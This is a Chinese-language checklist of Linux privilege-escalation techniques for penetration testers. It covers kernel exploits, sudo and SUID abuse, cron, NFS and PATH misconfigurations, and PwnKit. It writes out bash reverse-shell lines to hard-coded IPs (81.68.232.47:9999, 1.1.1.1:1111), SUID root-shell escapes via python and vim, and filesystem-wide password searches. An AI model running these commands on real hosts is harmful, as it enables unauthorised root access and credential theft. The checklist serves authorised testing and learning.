1. 由于大家都会,因此本文仅做CheckList,希望大家包括我自己在渗透Linux提权的时候,可以把下面的东西都试一次。

提权脚本suggess——6k的start
https://github.com/carlospolop/PEASS-ng

Linux提权

Linux提权漏洞没有Windows提权那么丰富多彩,只有常见的几个内核提权漏洞能用
一般我都使用两个工具来辅助提权
1、linux-kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits

2、Searchsploit
Searchsploit centos 7 kernel 3.10 查看CentOS7 内核版本为3.10的内核漏洞
知道该内核版本存在哪些漏洞即可尝试进行提权操作

1、内核漏洞提权

CVE-2016-5195一般我们使用脏牛提权较多

  1. Centos7 /RHEL7 3.10.0-327.36.3.el7
  2. Cetnos6/RHEL6 2.6.32-642.6.2.el6
  3. Ubuntu 16.10 4.8.0-26.28
  4. Ubuntu 16.04 4.4.0-45.66
  5. Ubuntu 14.04 3.13.0-100.147
  6. Debian 8 3.16.36-1+deb8u2
  7. Debian 7 3.2.82-1

检测命令:uname-a查看查看版本
原理:读写时存在条件竞争漏洞,导致破坏了只读内存映射(类似文件上传的条件竞争漏洞)

2、SUDO提权

1、CVE-2019-14287 Sudo提权(比较鸡肋)
利用条件:
sudo -v < 1.8.28
当前用户存在于sudo权限列表
需要root权限下进行一定的配置
检测命令:sudo -v 查看版本

cve-2021-3156-sudo

  1. sudoedit -s /
  2. 1、如果是以sudoedit开头就可能存在
  3. 2usage则不存在

https://blog.csdn.net/qq_40190341/article/details/113577351

3、SUID提权

当发现某些特殊的程序具备SUID权限时,可以尝试SUID提权,SUID——当某个文件存在SUID特殊权限,此时如果对他进行调用,则不是原版的用户权限,而是其拥有者的权限
chmod u+s test
检测命令:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f>/dev/null
已知的可用来提权的linux可行性的文件列表如下:
image.png

  1. - nmap
  2. - python
  3. - awk
  4. - strace
  5. - vim
  6. - find
  7. - bash
  8. - more
  9. - less
  10. - man
  11. - nano
  12. - cp/mv (覆盖密码)

甚至还有更多
https://www.secrss.com/articles/28493

4、错误配置提权

寻找某个持续以root权限执行的进程,且该进程文件我们拥有写权限

当某个进程启动权限为ROOT,对应文件的编辑权限却为普通用户时,我们可以利用它进行提权(情况模拟——比如ROOT用户启动某个脚本,这个脚本的权限正常用户也能编辑,此时我们使用普通用户就能利用该点提权)
https://github.com/DominicBreuker/pspy

5、NFS提权

如果发现Linux主机存在NFS挂载,我们可以尝试使用NFS提权,此提权需要NFS远程挂载开启,并进行一定的错误配置。
检测命令:cat /etc/exports是否存在 并查看文件内容是否存在no_root_squash的错误配置
https://my.oschina.net/u/4196756/blog/4645765

6、计划任务提权

查看那些文件我们有写权限
即-rwx/r-x/rwx 最后三位(其他用户)具有写权限,
检测命令:ls -l /etc/cron*
默认是没有这种写权限的,需要管理员进行特殊的配置
image.png

如果为/houly/daily等文件就写入一个sh文件,格式如下

  1. #!/bin/bash
  2. bash -i >& /dev/tcp/81.68.232.47/9999 0<&1 &

7、Sudo配置错误提权

普通用户使用sudo执行命令时会以root方式来进行执行。在许多场景里,管理员为了运维管理方便,可能会导致sudoer配置文件错误导致提权

如下图所示,本人没有进行任何配置,腾讯云的系统就默认给我ubuntu这个账户添加了sudo配置
image.png
如果想自己测试的话就,YourUserName就是你想设置的特权用户

  1. root: vi /etc/sudoers
  2. 在最后一行添加:YourUserName ALL=(ALL:ALL) NOPASSWD:ALL

那么此时你直接反弹shell即可
检测命令:sudo /bin/bash -i >& /dev/tcp/1.1.1.1/1111 0>&1

  1. sudo -l 可以查看当前用户可以使用的sudo命令
  2. 我们可以使用sudo -l 命令来看,像git这种命令也可以提权

8、密码复用提权

在渗透的时候,拿到WEB服务器为Linux的情况要记得翻一下数据库的管理员密码,Web密码可能和服务器主机密码是一样的
检测命令:翻越web网站数据库的密码

9、查找密码提权

这个方法就是在Linux文件里查找相关字段密码,属于信息收集的一部分
grep —color=auto -rnw ‘/‘ -ie “PASSWORD” —color=always 2> /dev/null
find . -type f -exec grep -i -I “PASSWORD” {} /dev/null \;
find . -name “.txt” -print0 | xargs -0 grep -i -n “pass”
find . -name “
.sh” -print0 | xargs -0 grep -i -n “password”
image.png

10、利用通配符提权

https://www.secpulse.com/archives/72965.html

11、利用“.”环境变量提权

如下图所示,发现如果存在环境变量中存在“.”的环境变量,就可以利用该配置错误进行提权,此时登录用户可以从当前目录执行二进制文件/脚本。你执行当前目录下的文件就不用./temview了 而是直接teamview
image.png
提权利用条件和原理
1、需要环境变量存在.
2、需要找到suid权限的二进制文件
3、这个二进制调用了系统上某些命令
4、简单总结就是利用这个拥有suid权限的二进制文件(执行时以root),然后将/bin/bash写入和这个二进制文件调用的系统上某些命令一样的名字,通过环境变量劫持,导致伪造执行/bin/bash。
5、不大好用

检测命令: echo $PATH
利用文章:https://xz.aliyun.com/t/2767

12、高版本的SUID提权

在第3的标题SUID提权大家都比较熟悉,但是存在失败的可能性。
SUID的意义

  1. suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限
  1. 设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

可能失败的原因:在高版本的Liunx(centos7)可能存在Effective UID和Real UID不相同,在高版本的Linux里引入了Effective UID这个东西

  1. Linux进程在运行时有三个UID
  2. Real UID 执行该进程的用户实际的UID
  3. Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
  4. Saved UID 在高权限用户降权后,保留的其原本UID
  5. 一般情况下Effective UID Real UID一致

因此我们需要再程序里进行一个set uid=0
一些程序是支持可以设置uid=0的,因此在高版本也能成功使用suid提权

python
python -c ‘import os; os.setuid(0); os.system(“/bin/bash”)’

vim

  1. vim
  2. :set shell=/bin/sh
  3. :shell
  1. vim
  2. :set shell=/tmp/test
  3. :shell

/tmp/test文件内容

/bin/bash -p

13、CVE-2021-4034

  1. CentOS系列:
  2. CentOS 6polkit-0.96-11.el6_10.2
  3. CentOS 7polkit-0.112-26.el7_9.1
  4. CentOS 8.0polkit-0.115-13.el8_5.1
  5. CentOS 8.2polkit-0.115-11.el8_2.2
  6. CentOS 8.4polkit-0.115-11.el8_4.2
  7. Ubuntu系列:
  8. Ubuntu 20.04 LTSpolicykit-1 - 0.105-26ubuntu1.2
  9. Ubuntu 18.04 LTSpolicykit-1 - 0.105-20ubuntu0.18.04.6
  10. Ubuntu 16.04 ESMpolicykit-1 - 0.105-14.1ubuntu0.5+esm1
  11. Ubuntu 14.04 ESMpolicykit-1 - 0.105-4ubuntu3.14.04.6+esm1

在本地parrot测试成功
比较猛的一个提权漏洞了
image.png

没有在目标主机上编译的话会有如下报错。
image.png

https://xz.aliyun.com/t/7924
https://xz.aliyun.com/t/8139
[https://mp.weixin.qq.com/s/egsHOPK_S5vZujqIb3ygOQ

](https://mp.weixin.qq.com/s/egsHOPK_S5vZujqIb3ygOQ)